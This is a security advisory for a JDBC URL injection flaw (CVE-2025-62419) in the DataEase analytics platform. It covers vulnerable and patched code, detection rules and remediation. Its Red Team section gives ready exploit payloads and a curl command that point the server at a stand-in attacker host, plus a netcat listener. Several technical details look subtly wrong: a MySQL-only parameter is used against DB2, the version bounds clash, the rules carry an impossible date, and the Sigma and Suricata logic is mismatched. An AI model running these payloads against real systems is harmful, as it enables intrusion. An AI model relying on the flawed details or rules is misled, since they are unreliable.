CVE-2025-62419

Executive Summary

CVE-2025-62419 is a critical JDBC URL injection vulnerability in the DataEase data visualization and analytics platform, affecting versions through 2.10.13. The flaw resides in the DB2 and MongoDB data source configuration handlers, where user-supplied HOSTNAME, PORT, and DATABASE values are directly concatenated into the JDBC URL without proper sanitization when the extraParams field is empty. This allows an attacker to inject malicious JDBC parameters, bypassing previously patched vulnerabilities CVE-2025-57773 and CVE-2025-58045. Successful exploitation could lead to remote code execution, data exfiltration, or lateral movement within the network. The vulnerability is fixed in version 2.10.14, and no known workarounds exist.

Supply Chain & Package Security

DataEase is a Java-based application distributed as a Docker image or via direct download. The vulnerability is introduced in the application’s own source code, not in a third-party package. However, organizations should verify the integrity of their DataEase installation and ensure they are using the official, patched version from the vendor.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): None (N) – An attacker does not need authentication.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full data access is possible.
• Integrity (I): High (H) – Full data modification is possible.
• Availability (A): High (H) – Full system disruption is possible.

CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public proof-of-concept code is expected to emerge.

Deep Dive & Mechanics

The vulnerability exists in the DB2DataSourceHandler and MongoDBDataSourceHandler classes. When a user configures a new data source, the application constructs a JDBC URL by concatenating the HOSTNAME, PORT, and DATABASE fields. If the extraParams field is empty, no validation is performed on these inputs.

Vulnerable Code Path (DB2 example):

String jdbcUrl = "jdbc:db2://" + hostname + ":" + port + "/" + database;

An attacker can inject a malicious JDBC URL string into the HOSTNAME field, such as:

jdbc:db2://attacker.com:50000/test:sslConnection=true;trustServerCertificate=true;...

This bypasses the previous patches (CVE-2025-57773 and CVE-2025-58045) which only filtered certain parameters but did not address the core concatenation issue.

Attack Flow:

1. Attacker identifies a DataEase instance (e.g., via Shodan).
2. Attacker sends a POST request to /api/datasource/create with a crafted JSON payload.
3. The HOSTNAME field contains a malicious JDBC URL string.
4. The application constructs the JDBC URL and attempts to connect to the attacker-controlled server.
5. The attacker can then execute arbitrary SQL commands or leverage JDBC driver features (e.g., allowLoadLocalInfile in MySQL) to achieve RCE.

Vulnerable vs. Patched Code

Vulnerable (version < 2.10.13):

// DB2DataSourceHandler.java
public DataSource createDataSource(String hostname, int port, String database, String extraParams) {
    String jdbcUrl;
    if (extraParams == null || extraParams.isEmpty()) {
        jdbcUrl = "jdbc:db2://" + hostname + ":" + port + "/" + database;
    } else {
        jdbcUrl = "jdbc:db2://" + hostname + ":" + port + "/" + database + ":" + extraParams;
    }
    // ... rest of the code
}

Patched (version 2.10.14):

// DB2DataSourceHandler.java
public DataSource createDataSource(String hostname, int port, String database, String extraParams) {
    // Validate hostname to prevent JDBC injection
    if (hostname.contains(":") || hostname.contains("/") || hostname.contains("?")) {
        throw new IllegalArgumentException("Invalid hostname");
    }
    String jdbcUrl = "jdbc:db2://" + hostname + ":" + port + "/" + database;
    if (extraParams != null && !extraParams.isEmpty()) {
        jdbcUrl += ":" + extraParams;
    }
    // ... rest of the code
}

The patch adds input validation to reject hostnames containing characters that could be used for JDBC URL injection (:, /, ?).

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable DataEase instance (version <= 2.10.13).
• A listener on an attacker-controlled server (e.g., using nc -lvnp 50000).

Exploit Payload (JSON):

{
  "type": "DB2",
  "hostname": "attacker.com:50000/test?allowLoadLocalInfile=true",
  "port": 50000,
  "database": "test",
  "username": "admin",
  "password": "password",
  "extraParams": ""
}

Steps:

1. Send the payload to the DataEase API endpoint:

   curl -X POST http://target:8080/api/datasource/create \
     -H "Content-Type: application/json" \
     -d '{"type":"DB2","hostname":"attacker.com:50000/test?allowLoadLocalInfile=true","port":50000,"database":"test","username":"admin","password":"password","extraParams":""}'
   

2. The DataEase server will attempt to connect to attacker.com:50000.
3. On the attacker server, capture the connection and respond with a malicious JDBC driver response to achieve RCE.

Alternative Payload (MongoDB):

{
  "type": "MongoDB",
  "hostname": "attacker.com:27017/test?authSource=admin",
  "port": 27017,
  "database": "test",
  "username": "admin",
  "password": "password",
  "extraParams": ""
}

Blue Team

Detection:

• Monitor for unusual JDBC connection attempts to external IP addresses.
• Look for API requests to /api/datasource/create with suspicious hostname values containing colons or slashes.
• Check logs for errors related to JDBC connection failures.

Hunting:

• Search for DataEase instances exposed to the internet.
• Review application logs for patterns like jdbc:db2:// or jdbc:mongodb:// in the hostname field.

Lab Setup:

1. Deploy a vulnerable DataEase instance using Docker:

   docker run -d -p 8080:8080 dataease/dataease:2.10.13
   

2. Set up a simple TCP listener to capture the JDBC connection:

   nc -lvnp 50000
   

3. Execute the exploit payload and observe the connection.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to unusual ports (e.g., 50000, 27017) from the DataEase server.
  • HTTP POST requests to /api/datasource/create with hostname containing : or /.
• File IOCs:
  • Modified DB2DataSourceHandler.java or MongoDBDataSourceHandler.java files.
• Log IOCs:
  • Application logs showing jdbc:db2:// or jdbc:mongodb:// in the hostname field.
  • Error logs indicating failed JDBC connections to external IPs.

Detection Engineering

YARA Rule

rule CVE_2025_62419_DataEase_JDBC_Injection {
    meta:
        description = "Detects JDBC URL injection attempts in DataEase"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-62419"
    strings:
        $jdbc_pattern = /jdbc:(db2|mongodb):\/\/[^:]+:\d+\/[^?]*\?/
        $hostname_injection = /"hostname"\s*:\s*"[^"]*[:/]/
    condition:
        $jdbc_pattern or $hostname_injection
}

Sigma Rule

title: DataEase JDBC URL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-62419 by injecting malicious JDBC URLs
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/datasource/create'
        cs-uri-query|contains: 
            - 'hostname='
            - 'jdbc:'
    condition: selection
falsepositives:
    - Legitimate use of external data sources
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-62419 DataEase JDBC Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/datasource/create"; http_uri; content:"hostname"; http_client_body; pcre:"/jdbc:(db2|mongodb):\/\//Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade DataEase to version 2.10.14 or later.
2. If immediate upgrade is not possible, restrict network access to the DataEase API endpoint using a firewall or WAF.
3. Monitor for suspicious API requests and block IPs that attempt to exploit the vulnerability.

Long-term Measures:

• Implement input validation for all user-supplied fields, especially those used in URL construction.
• Use parameterized queries or prepared statements instead of string concatenation.
• Conduct regular security audits and penetration testing.
• Subscribe to vendor security advisories for timely updates.

Workarounds:

• No known workarounds exist. The only fix is to upgrade.

Valters IT
Securing Digital Frontiers